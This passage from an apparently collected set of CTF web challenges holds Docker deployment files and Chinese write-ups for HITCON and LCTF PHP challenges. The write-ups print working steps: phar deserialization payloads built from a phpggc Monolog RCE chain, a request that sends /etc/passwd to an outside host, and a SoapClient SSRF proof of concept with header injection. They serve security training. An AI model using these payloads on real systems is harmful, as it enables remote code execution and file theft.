86 | ```php
87 | ';
93 | $p->setMetadata(new Admin());
94 | $p->setStub('GIF89a');
95 | rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
96 | ?>
97 | ```
98 |
99 | ## creat_function
100 | 在 payload 下载后,我们便需要访问它,但是获取 flag 的方式有两种
101 | 一是使用 `my_function_$random` 函数,但是 `$random` 是随机数,不可能猜出来;二便是直接调用 `$FLAG` 函数
102 |
103 | ```php
104 | $FLAG = create_function("", 'die(`/read_flag`);');
105 | ```
106 |
107 | 但 `$FLAG` 函数是通过 `create_function` 创建,并没有设置函数名字,但其实这里声明的函数是有函数名的,匿名函数会被设置为`\x00lambda_%d`,`%d` 是从 1 递增的,直到最大长度结束。
108 |
109 |
110 | 但是我们并不知道当前的匿名函数到底有多少个, 因为每访问一次题目就会生成一个匿名函数。
111 |
112 | ## Apache-prefork
113 |
114 | 来自 Pr0phet 师傅的 wp:
115 | > Apache-prefork 模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256 个 child server, 这时候如果用户大量请求, Apache就会在处理完 MaxRequestsPerChild 个tcp连接后kill掉这个进程,开启一个新进程处理请求(这里猜测Orange大大应该修改了默认的0,因为0为永不kill掉子进程 这样就无法fork出新进程了) 在这个新进程里面匿名函数就会是从1开始的了
116 |
117 | 这里我们可以通过大量的请求来迫使 Pre-fork 模式启动的 Apache 启动新的线程,这样 `%d` 会刷新为1,就可以预测了。
118 |
119 |
120 | 运行 Orange 师傅给的 PoC
121 |
122 | ```Python
123 | import requests
124 | import socket
125 | import time
126 | from multiprocessing.dummy import Pool as ThreadPool
127 | try:
128 | requests.packages.urllib3.disable_warnings()
129 | except:
130 | pass
131 |
132 | def run(i):
133 | while 1:
134 | HOST = '127.0.0.1'
135 | PORT = 8007
136 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
137 | s.connect((HOST, PORT))
138 | s.sendall('GET / HTTP/1.1\nHost: 127.0.0.1:8007\nConnection: Keep-Alive\n\n')
139 | # s.close()
140 | print 'ok'
141 | time.sleep(0.5)
142 |
143 | i = 8
144 | pool = ThreadPool( i )
145 | result = pool.map_async( run, range(i) ).get(0xffff)
146 | ```
147 |
148 | 同时尝试访问 `?m=upload&url=phar:///var/www/data/xxx&lucky=%00lambda_1`(xxx为 orange+ip 的 md5) 拿到 Flag
149 |
150 | ## References
151 | [hitconDockerfile/hitcon-ctf-2017/baby^h-master-php-2017](https://github.com/Pr0phet/hitconDockerfile/tree/master/hitcon-ctf-2017/baby%5Eh-master-php-2017)
152 |
153 | [HITCON2017-writeup整理](https://lorexxar.cn/2017/11/10/hitcon2017-writeup/)
154 |
155 |
--------------------------------------------------------------------------------
/Unserialization/hitcon-2018-baby-cake/README.md:
--------------------------------------------------------------------------------
1 | # 来源
2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2018/baby-cake](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2018/baby-cake)
--------------------------------------------------------------------------------
/Unserialization/hitcon-2018-baby-cake/build:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t='ctf/baby-cake' ./deploy
--------------------------------------------------------------------------------
/Unserialization/hitcon-2018-baby-cake/deploy/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
4 |
5 | ENV TZ=Asia/Shanghai
6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
7 |
8 | # 清除 PHP 包
9 | RUN apt-get purge `dpkg -l | grep php| awk '{print $2}' |tr "\n" " "`
10 |
11 | RUN apt-get update -y
12 |
13 | # 增加源下载 php5.6
14 | RUN apt-get install -y software-properties-common
15 | RUN LC_ALL=C.UTF-8 add-apt-repository ppa:ondrej/php
16 | RUN apt-get update -y
17 |
18 |
19 | # 安装 php5.6 及 nginx
20 | RUN apt-get install -y nginx
21 | RUN apt-get install -y php5.6 php5.6-fpm php5.6-intl php5.6-mbstring
22 |
23 | # 文件移动
24 | COPY ./default /etc/nginx/sites-available/default
25 | COPY ./start.sh /start.sh
26 |
27 | COPY ./src/read_flag /read_flag
28 |
29 | COPY ./src/src.tar /var/www
30 | RUN rm -r /var/www/html
31 | RUN cd /var/www && tar xvf baby_cake.tgz && mv baby_cake.tgz ./html/webroot/
32 | RUN chmod a+x /start.sh
33 |
34 |
35 | # 题目环境
36 | RUN chmod 777 /read_flag
37 | RUN chown -R www-data:www-data /var/www/html \
38 | && ln -s /var/www/html /html
39 |
40 | RUN echo 'hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}' > /flag
41 | RUN chmod 700 /flag
42 |
43 |
44 | # 清除
45 | RUN apt-get clean \
46 | && rm -rf /var/lib/apt/lists/*
47 |
48 | EXPOSE 80
49 | CMD ["/start.sh"]
--------------------------------------------------------------------------------
/Unserialization/hitcon-2018-baby-cake/deploy/default:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80;
3 | root /var/www/html;
4 | index index.php index.html index.htm;
5 |
6 | server_name localhost;
7 | location ~ \.php$ {
8 | include snippets/fastcgi-php.conf;
9 |
10 | # With php5-cgi alone:
11 | #fastcgi_pass 127.0.0.1:9000;
12 | # With php5-fpm:
13 | fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
14 | }
15 | }
--------------------------------------------------------------------------------
/Unserialization/hitcon-2018-baby-cake/deploy/src/baby_cake.tgz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/hitcon-2018-baby-cake/deploy/src/baby_cake.tgz
--------------------------------------------------------------------------------
/Unserialization/hitcon-2018-baby-cake/deploy/src/read_flag:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/hitcon-2018-baby-cake/deploy/src/read_flag
--------------------------------------------------------------------------------
/Unserialization/hitcon-2018-baby-cake/deploy/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | service nginx restart
3 | service php5.6-fpm start
4 |
5 | /usr/bin/tail -f /dev/null
6 |
--------------------------------------------------------------------------------
/Unserialization/hitcon-2018-baby-cake/run:
--------------------------------------------------------------------------------
1 | # /bin/bash
2 | docker run -d -p 8000:80 ctf/baby-cake
--------------------------------------------------------------------------------
/Unserialization/hitcon-2018-baby-cake/writeup/README.md:
--------------------------------------------------------------------------------
1 | # hitcon-2018-baby-cake
2 |
3 | 题目直接给了源码,尝试直接输入 `http://www.baidu.com`,在源码中找到 ``,借此可以定位到 `src/Controller/PagesController.php`,我们先看一下其中的关键方法 `display()`:
4 | ```php
5 | class PagesController extends AppController {
6 |
7 | public function display(...$path) {
8 | $request = $this->request;
9 | $data = $request->getQuery('data');
10 | $url = $request->getQuery('url');
11 | if (strlen($url) == 0)
12 | return $this->back();
13 |
14 | $scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
15 | if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
16 | return $this->back();
17 |
18 | $method = strtolower( $request->getMethod() );
19 | if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
20 | return $this->back();
21 |
22 |
23 | $headers = [];
24 | foreach ($request->getHeaders() as $key => $value) {
25 | if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
26 | continue;
27 | if (count($value) == 0)
28 | continue;
29 |
30 | $headers[$key] = $value[0];
31 | }
32 |
33 | $key = md5($url);
34 | if ($method == 'get') {
35 | $response = $this->cache_get($key);
36 | if (!$response) {
37 | $response = $this->httpclient($method, $url, $headers, null);
38 | $this->cache_set($key, $response);
39 | }
40 | } else {
41 | $response = $this->httpclient($method, $url, $headers, $data);
42 | }
43 |
44 | foreach ($response->headers as $key => $value) {
45 | if (strtolower($key) == 'content-type') {
46 | $this->response->type(array('type' => $value));
47 | $this->response->type('type');
48 | continue;
49 | }
50 | $this->response->withHeader($key, $value);
51 | }
52 |
53 | $this->response->body($response->body);
54 | return $this->response;
55 | }
56 | }
57 | ```
58 |
59 | 在中可以看到:
60 | 1. 应用从 `querystring` 获取 `data` 和 `url` 参数
61 | 2. 只支持 `http\https` 两种协议及 `get\post\put\delete\patch` 五种方法
62 | 3. 对 `get` 方法与其他方法,处理方式不一样,也是该函数的重点
63 |
64 | 我们在着重看一下处理方法:
65 | ```php
66 | if ($method == 'get') {
67 | $response = $this->cache_get($key);
68 | if (!$response) {
69 | $response = $this->httpclient($method, $url, $headers, null);
70 | $this->cache_set($key, $response);
71 | }
72 | } else {
73 | $response = $this->httpclient($method, $url, $headers, $data);
74 | }
75 | ```
76 |
77 | 对于 `get` 方法,先调用了 `cache_get` 方法,我们之前发现的注释也正是在这个函数中添加。
78 |
79 | ```php
80 | private function cache_set($key, $response) {
81 | $cache_dir = $this->_cache_dir($key);
82 | if ( !file_exists($cache_dir) ) {
83 | mkdir($cache_dir, 0700, true);
84 | file_put_contents($cache_dir . "body.cache", $response->body);
85 | file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
86 | }
87 | }
88 |
89 | private function cache_get($key) {
90 | $cache_dir = $this->_cache_dir($key);
91 | if (file_exists($cache_dir)) {
92 | $body = file_get_contents($cache_dir . "/body.cache");
93 | $headers = file_get_contents($cache_dir . "/headers.cache");
94 |
95 | $body = "\n" . $body;
96 | $headers = unserialize($headers);
97 | return new DymmyResponse($headers, $body);
98 | } else {
99 | return null;
100 | }
101 | }
102 | ```
103 |
104 | 注意到该函数有个反序列化操作 `$headers = unserialize($headers);`
105 |
106 | 接着看,如果 `response` 为空,即没有缓存,则会调用 `httpclient` 请求对应内容,然后将 `response` 缓存。而 `cache_set` 函数有个序列化的操作 `serialize($response->headers)`
107 |
108 | 但在这题这里的序列化其实没啥用,继续分析。
109 |
110 | 对于其他方法,则会直接调用 `httpclient` 方法。
111 |
112 | ```php
113 | private function httpclient($method, $url, $headers, $data) {
114 | $options = [
115 | 'headers' => $headers,
116 | 'timeout' => 10
117 | ];
118 |
119 | $http = new Client();
120 | return $http->$method($url, $data, $options);
121 | }
122 | ```
123 |
124 | 在 `vendor/cakephp/cakephp/src/Http/Client.php` 中,对一个请求的调用栈如下:
125 | ```php
126 | $http->$method($url, $data, $options);
127 | $http->_doRequest(Request::METHOD_GET, $url, $body, $options);
128 | $http->send($request, $options); # $request = $http->_createRequest($method, $url, $data, $options);
129 | ```
130 |
131 | 在 `_createRequest` 使用了 `$request = new Request($url, $method, $headers, $data);` 构造请求,跟进 `vendor/cakephp/cakephp/src/Http/Client/Request.php` 看一下 `$request` 是如何构造的。
132 |
133 |
134 | ```php
135 | class Request extends Message implements RequestInterface
136 | {
137 | public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
138 | {
139 | $this->validateMethod($method);
140 | $this->method = $method;
141 | $this->uri = $this->createUri($url);
142 | $headers += [
143 | 'Connection' => 'close',
144 | 'User-Agent' => 'CakePHP'
145 | ];
146 | $this->addHeaders($headers);
147 | $this->body($data);
148 | }
149 |
150 | ...
151 |
152 | public function body($body = null)
153 | {
154 | if ($body === null) {
155 | $body = $this->getBody();
156 |
157 | return $body ? $body->__toString() : '';
158 | }
159 | if (is_array($body)) {
160 | $formData = new FormData();
161 | $formData->addMany($body);
162 | $this->header('Content-Type', $formData->contentType());
163 | $body = (string)$formData;
164 | }
165 | $stream = new Stream('php://memory', 'rw');
166 | $stream->write($body);
167 | $this->stream = $stream;
168 |
169 | return $this;
170 | }
171 | ```
172 |
173 | 可以看到,对于我们传入的 data 参数,该类做了一些处理。如果 data 为数组,则调用 `vendor/cakephp/cakephp/src/Http/Client/FormData.php` 中定义的 `addMany` 函数,进而调用 `add` 函数
174 |
175 | ```php
176 | public function addMany(array $data)
177 | {
178 | foreach ($data as $name => $value) {
179 | $this->add($name, $value);
180 | }
181 |
182 | return $this;
183 | }
184 |
185 | public function add($name, $value = null)
186 | {
187 | if (is_array($value)) {
188 | $this->addRecursive($name, $value);
189 | } elseif (is_resource($value)) {
190 | $this->addFile($name, $value);
191 | } elseif (is_string($value) && strlen($value) && $value[0] === '@') {
192 | trigger_error(
193 | 'Using the @ syntax for file uploads is not safe and is deprecated. ' .
194 | 'Instead you should use file handles.',
195 | E_USER_DEPRECATED
196 | );
197 | $this->addFile($name, $value);
198 | } elseif ($name instanceof FormDataPart && $value === null) {
199 | $this->_hasComplexPart = true;
200 | $this->_parts[] = $name;
201 | } else {
202 | $this->_parts[] = $this->newPart($name, $value);
203 | }
204 |
205 | return $this;
206 | }
207 | ```
208 |
209 | `add` 中可以看到如果 `data` 参数第一个字符为 `@`,则调用 `addFile` 方法
210 |
211 | ```php
212 | public function addFile($name, $value)
213 | {
214 | $this->_hasFile = true;
215 |
216 | $filename = false;
217 | $contentType = 'application/octet-stream';
218 | if (is_resource($value)) {
219 | $content = stream_get_contents($value);
220 | if (stream_is_local($value)) {
221 | $finfo = new finfo(FILEINFO_MIME);
222 | $metadata = stream_get_meta_data($value);
223 | $contentType = $finfo->file($metadata['uri']);
224 | $filename = basename($metadata['uri']);
225 | }
226 | } else {
227 | $finfo = new finfo(FILEINFO_MIME);
228 | $value = substr($value, 1);
229 | $filename = basename($value);
230 | $content = file_get_contents($value);
231 | $contentType = $finfo->file($value);
232 | }
233 | $part = $this->newPart($name, $content);
234 | $part->type($contentType);
235 | if ($filename) {
236 | $part->filename($filename);
237 | }
238 | $this->add($part);
239 |
240 | return $part;
241 | }
242 | ```
243 |
244 | 其中的 `file_get_contents` 函数没做任何参数过滤,参数正好是我们传入的 `data` 参数值,因此这里存在一个任意文件包含。
245 |
246 | 至此大致逻辑梳理完毕,服务器最终会通过对我们传入的 `data` 参数做一些处理,然后带着 `data` 参数访问 `url` 指定的地址。
247 |
248 | 我们尝试利用该逻辑 + 文件包含漏洞带出 /etc/passwd:
249 |
250 | ```http
251 | POST /?url=http://**.**.**.**:9000/&data[x]=@file:///etc/passwd HTTP/1.1
252 | Host: localhost:8000
253 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3590.962 Safari/537.36
254 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
255 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
256 | Accept-Encoding: gzip, deflate
257 | Connection: close
258 | ```
259 |
260 | 
261 |
262 | 发现可以成功利用。
263 |
264 | ### phar 反序列化
265 | 服务器能像其他任意服务器发出请求 + 应用本身存在任意文件包含漏洞,是不是就让你想起了 2017 年 hitcon 的 baby\^h-master-php,正是利用 phar 反序列化。
266 |
267 | 那么应该如何生成 payload? 在 `composer.json` 我们发现了 `"monolog/monolog": "^1.23"`,而在 `phpggc` 中正好有 1.23 版本的 payload(Monolog RCE1)。因此直接修改 `chain.php` 如下:
268 |
269 | ```php
270 | startBuffering();
286 | $p->setStub("");
287 | $p->addFromString("test.txt", "test");
288 | $p->setMetadata(new \Monolog\Handler\SyslogUdpHandler(new \Monolog\Handler\BufferHandler(['current', 'system'],[$code, 'level' => null])));
289 | $p->stopBuffering();
290 | }
291 | }
292 | ```
293 |
294 | 运行后生成 exp.phar,放在 VPS 上,访问下载到服务器
295 | ```http
296 | GET /?url=http://xxx.xxx.xxx.xxx/exp.phar
297 | ```
298 |
299 | 然后找到 cache 位置
300 | ```php
301 | # config/paths.php
302 | define('TMP', ROOT . DS . 'tmp' . DS);
303 | define('CACHE', TMP . 'cache' . DS);
304 |
305 | # src/controller/PagesController.php
306 | private function _cache_dir($key){
307 | $ip = $this->request->getEnv('REMOTE_ADDR');
308 | $index = sprintf('mycache/%s/%s/', $ip, $key);
309 | return CACHE . $index;
310 | }
311 |
312 | # 最终路径为 /tmp/cache/mycache/ip/md5($url)/body.cache
313 | ```
314 |
315 | 通过 POST 请求触发反序列化,读取 flag
316 | ```http
317 | POST /?url=http://xx.xx.xxx.xx&data[s]=@phar:///../tmp/cache/mycache/172.17.0.1/e494da96585eefa8b3cb4f98309d389b/body.cach
318 | ```
319 |
320 | ## References
321 | [Hitcon 2018 Web - Oh My Raddit / Baby Cake 题解](https://xz.aliyun.com/t/2961)
322 |
323 | [HITCON CTF 2018 Web](http://blog.kaibro.tw/2018/10/24/HITCON-CTF-2018-Web/)
--------------------------------------------------------------------------------
/Unserialization/hitcon-2018-baby-cake/writeup/img/passwd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/hitcon-2018-baby-cake/writeup/img/passwd.png
--------------------------------------------------------------------------------
/Unserialization/lctf-2018-babyphp's-revenge/README.md:
--------------------------------------------------------------------------------
1 | # 来源
2 | [LCTF2018/Writeup/babyphp's revenge/](https://github.com/LCTF/LCTF2018/tree/master/Writeup/babyphp's%20revenge)
--------------------------------------------------------------------------------
/Unserialization/lctf-2018-babyphp's-revenge/build:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t="ctf/babyphp-revenge" ./deploy
--------------------------------------------------------------------------------
/Unserialization/lctf-2018-babyphp's-revenge/deploy/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
4 |
5 | ENV TZ=Asia/Shanghai
6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
7 |
8 | RUN apt-get update -y
9 |
10 | # 安装 PHP 及 nginx
11 | RUN apt-get install -y nginx \
12 | php7.0-fpm
13 |
14 | # 安装 SOAP 扩展
15 | RUN apt-get install -y php-soap
16 |
17 | # 文件移动
18 | RUN rm /var/www/html/*.html
19 | COPY ./default /etc/nginx/sites-available/default
20 | COPY ./src/* /var/www/html/
21 | COPY ./start.sh /start.sh
22 | RUN chmod a+x /start.sh
23 |
24 | # 题目环境
25 | RUN chown -R www-data:www-data /var/www/html \
26 | && ln -s /var/www/html /html
27 |
28 | # 清除
29 | RUN apt-get clean \
30 | && rm -rf /var/lib/apt/lists/*
31 |
32 | EXPOSE 80
33 | CMD ["/start.sh"]
--------------------------------------------------------------------------------
/Unserialization/lctf-2018-babyphp's-revenge/deploy/default:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80;
3 | root /var/www/html;
4 | index index.php index.html index.htm;
5 |
6 | server_name localhost;
7 | location ~ \.php$ {
8 | include snippets/fastcgi-php.conf;
9 |
10 | # With php5-cgi alone:
11 | #fastcgi_pass 127.0.0.1:9000;
12 | # With php5-fpm:
13 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
14 | }
15 | }
--------------------------------------------------------------------------------
/Unserialization/lctf-2018-babyphp's-revenge/deploy/src/flag.php:
--------------------------------------------------------------------------------
1 | session_start();
2 | echo 'only localhost can get flag!';
3 | $flag = 'LCTF{*************************}';
4 | if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
5 | $_SESSION['flag'] = $flag;
6 | }
7 |
--------------------------------------------------------------------------------
/Unserialization/lctf-2018-babyphp's-revenge/deploy/src/index.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Unserialization/lctf-2018-babyphp's-revenge/deploy/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | service nginx restart
3 | service php7.0-fpm start
4 |
5 | /usr/bin/tail -f /dev/null
--------------------------------------------------------------------------------
/Unserialization/lctf-2018-babyphp's-revenge/run:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker run -d -p 8005:80 ctf/babyphp-revenge
--------------------------------------------------------------------------------
/Unserialization/lctf-2018-babyphp's-revenge/writeup/README.md:
--------------------------------------------------------------------------------
1 | # babyphp's revenge
2 | 题目直接给出源码
3 |
4 | ```php
5 | //index.php
6 |
18 |
19 | //flag.php
20 | session_start();
21 | echo 'only localhost can get flag!';
22 | $flag = 'LCTF{*************************}';
23 | if($_SERVER["REMOTE_ADDR"]==="127.0.0.1") {
24 | $_SESSION['flag'] = $flag;
25 | }
26 | ```
27 |
28 | ## Session 反序列化漏洞
29 | 该题跟 XCTF-Final-2018-bestphp 相似,其实也是同一个出题人。
30 |
31 | 看到 flag.php 猜测 SSRF,自然想到了 n1ctf-2018-hard_php,利用 `SoapClient` 进行 SSRF。而要利用该类则需要反序列化漏洞才行,这里涉及到 `session_start` 的 `options` 参数中的另一个 session 配置项 `serialize_handler`,该参数控制了 session的解析引擎,所以可以借用由解析引擎的不同导致的 session 反序列化,而此题刚好存在变量覆盖漏洞
32 |
33 | ## SSRF
34 |
35 | 因为利用 `SoapClient` 进行 SSRF 需要调用 `__call`方法,这里其实可以利用 `call_user_func` 执行对象中的方法(即 `welcome_to_the_lctf2018`),从而触发 `__call`。
36 |
37 | 
38 |
39 | pupiles 师傅的 PoC:
40 | ```php
41 | $target='http://127.0.0.1/flag.php';
42 | $b = new SoapClient(null,array('location' => $target,
43 | 'user_agent' => "AAA:BBB\r\n" .
44 | "Cookie:PHPSESSID=your_sessid",
45 | 'uri' => "http://127.0.0.1/"));
46 |
47 | $se = serialize($b);
48 | echo urlencode($se);
49 | ```
50 |
51 | 写入 session
52 | ```HTTP
53 | POST /?f=session_start&name=上面生成的代码 HTTP/1.1
54 | Host: kali:8001
55 | Connection: close
56 | Cookie: PHPSESSID=your_sessid
57 | Content-Type: application/x-www-form-urlencoded
58 | Content-Length: 31
59 |
60 | serialize_handler=php_serialize
61 | ```
62 |
63 | 访问触发发序列化及 SSRF
64 | ```HTTP
65 | POST /?f=extract&name=Soapclient HTTP/1.1
66 | Host: 172.81.210.82
67 | Connection: close
68 | Cookie: PHPSESSID=your_sessid
69 | Content-Type: application/x-www-form-urlencoded
70 | Content-Length: 16
71 |
72 | b=call_user_func
73 | ```
74 |
75 | ## References
76 | [谈谈LCTF2018](http://pupiles.com/lctf2018.html)
77 |
78 | [session_start()&bestphp](https://www.anquanke.com/post/id/164569)
--------------------------------------------------------------------------------
/Unserialization/lctf-2018-babyphp's-revenge/writeup/img/call_user_func.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/lctf-2018-babyphp's-revenge/writeup/img/call_user_func.png
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/README.md:
--------------------------------------------------------------------------------
1 | # 来源
2 | [34c3ctf/urlstorage/](https://github.com/eboda/34c3ctf/tree/master/urlstorage)
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/build:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t ctf/urlstorage ./deploy
3 |
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 | ENV DEBIAN_FRONTEND noninteractive
3 |
4 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
5 | ENV TZ=Asia/Shanghai
6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
7 |
8 | RUN apt-get -y update
9 |
10 | RUN apt-get -y install curl python3 python3-pip libmysqlclient-dev nginx
11 | RUN apt-get -y install wget
12 |
13 | # install phantomjs
14 | RUN apt-get -y install bzip2 libfreetype6 libfontconfig
15 | ENV PHANTOMJS_VERSION 2.1.1
16 | RUN mkdir -p /srv/var && \
17 | wget --local-encoding=UTF-8 --no-check-certificate -O /tmp/phantomjs-$PHANTOMJS_VERSION-linux-x86_64.tar.bz2 https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-$PHANTOMJS_VERSION-linux-x86_64.tar.bz2 && \
18 | tar -xjf /tmp/phantomjs-$PHANTOMJS_VERSION-linux-x86_64.tar.bz2 -C /tmp && \
19 | rm -f /tmp/phantomjs-$PHANTOMJS_VERSION-linux-x86_64.tar.bz2 && \
20 | mv /tmp/phantomjs-$PHANTOMJS_VERSION-linux-x86_64/ /srv/var/phantomjs && \
21 | ln -s /srv/var/phantomjs/bin/phantomjs /usr/bin/phantomjs
22 |
23 | # 文件移动
24 | COPY db.sql /tmp/db.sql
25 | COPY app /app
26 | COPY nginx/default /etc/nginx/sites-available/default
27 | COPY ./start.sh /start.sh
28 |
29 | RUN chmod 777 /start.sh
30 |
31 | # 数据库配置
32 | RUN apt-get install -y mysql-client \
33 | mysql-server \
34 | && service mysql start \
35 | && mysqladmin -uroot password FUCKmyL1f3AZiwqeci \
36 | && mysql -e "source /tmp/db.sql;" -uroot -pFUCKmyL1f3AZiwqeci \
37 | && rm /tmp/db.sql
38 |
39 | COPY mysqld.cnf /etc/mysql/mysql.conf.d/mysqld.cnf
40 |
41 | # 题目环境
42 | RUN pip3 install --upgrade pip
43 | RUN pip3 install django gunicorn mysqlclient requests lxml pyyaml django-simple-captcha
44 |
45 |
46 | # xss user
47 | RUN groupadd -g 1000 xss-man && useradd -g xss-man -u 1000 xss-man
48 |
49 | # challenge files and configs
50 | COPY scripts/ /xss/
51 | RUN chown -R xss-man:xss-man /xss/ && chmod 500 /xss/*
52 |
53 | RUN apt-get clean \
54 | && rm -rf /var/lib/apt/lists/*
55 |
56 | EXPOSE 80
57 | CMD ["/start.sh"]
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/app/.gitignore:
--------------------------------------------------------------------------------
1 | *.sqlite3
2 |
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/app/manage.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import os
3 | import sys
4 |
5 | if __name__ == "__main__":
6 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "urlstorage.settings")
7 | try:
8 | from django.core.management import execute_from_command_line
9 | except ImportError:
10 | # The above import may fail for some other reason. Ensure that the
11 | # issue is really that Django is missing to avoid masking other
12 | # exceptions on Python 2.
13 | try:
14 | import django
15 | except ImportError:
16 | raise ImportError(
17 | "Couldn't import Django. Are you sure it's installed and "
18 | "available on your PYTHONPATH environment variable? Did you "
19 | "forget to activate a virtual environment?"
20 | )
21 | raise
22 | execute_from_command_line(sys.argv)
23 |
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/__init__.py
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/fixtures/admin.yaml:
--------------------------------------------------------------------------------
1 | - model: auth.user
2 | pk: 1
3 | fields:
4 | username: admin
5 | password: pbkdf2_sha256$36000$aEYFykhWmEVl$luoEd85o7hvdnHyUg6mZEtCw81ibXVJuwmIOyZCh7bo=
6 | is_superuser: true
7 | is_staff: true
8 | is_active: true
9 |
10 | - model: urlstorage.UserProfile
11 | pk: 1
12 | fields:
13 | user: 1
14 | token: da3eb263841b743fa7e11c63e67650a8
15 | created_at: 2017-12-17T14:15:30.381Z
16 |
17 |
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/middleware.py:
--------------------------------------------------------------------------------
1 | class SecHeadersMiddleware:
2 | def __init__(self, get_response):
3 | self.get_response = get_response
4 |
5 | def __call__(self, request):
6 | response = self.get_response(request)
7 | response['X-Frame-Options'] = "DENY"
8 | response['Referrer-Policy'] = "no-referrer"
9 | response['X-Content-Type-Options'] = "no-sniff"
10 | response['X-XSS-Protection'] = "1; mode=block"
11 | response['Content-Security-Policy'] = (
12 | "frame-ancestors 'none'; "
13 | "form-action 'self'; "
14 | "connect-src 'self'; "
15 | "script-src 'self'; "
16 | "font-src 'self' ; "
17 | "style-src 'self'; "
18 | )
19 | return response
20 |
21 |
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/migrations/0001_initial.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Generated by Django 1.11.2 on 2017-12-18 15:39
3 | from __future__ import unicode_literals
4 |
5 | from django.conf import settings
6 | from django.db import migrations, models
7 | import django.db.models.deletion
8 |
9 |
10 | class Migration(migrations.Migration):
11 |
12 | initial = True
13 |
14 | dependencies = [
15 | migrations.swappable_dependency(settings.AUTH_USER_MODEL),
16 | ]
17 |
18 | operations = [
19 | migrations.CreateModel(
20 | name='Feedback',
21 | fields=[
22 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
23 | ('url', models.TextField()),
24 | ('visited', models.BooleanField(default=False)),
25 | ('duration', models.IntegerField(default=5)),
26 | ('created_at', models.DateTimeField(auto_now_add=True)),
27 | ],
28 | ),
29 | migrations.CreateModel(
30 | name='UserProfile',
31 | fields=[
32 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
33 | ('token', models.TextField()),
34 | ('url', models.TextField(default='https://shiamotivate.me')),
35 | ('created_at', models.DateTimeField(auto_now_add=True)),
36 | ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='profile', to=settings.AUTH_USER_MODEL)),
37 | ],
38 | ),
39 | ]
40 |
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/migrations/__init__.py:
--------------------------------------------------------------------------------
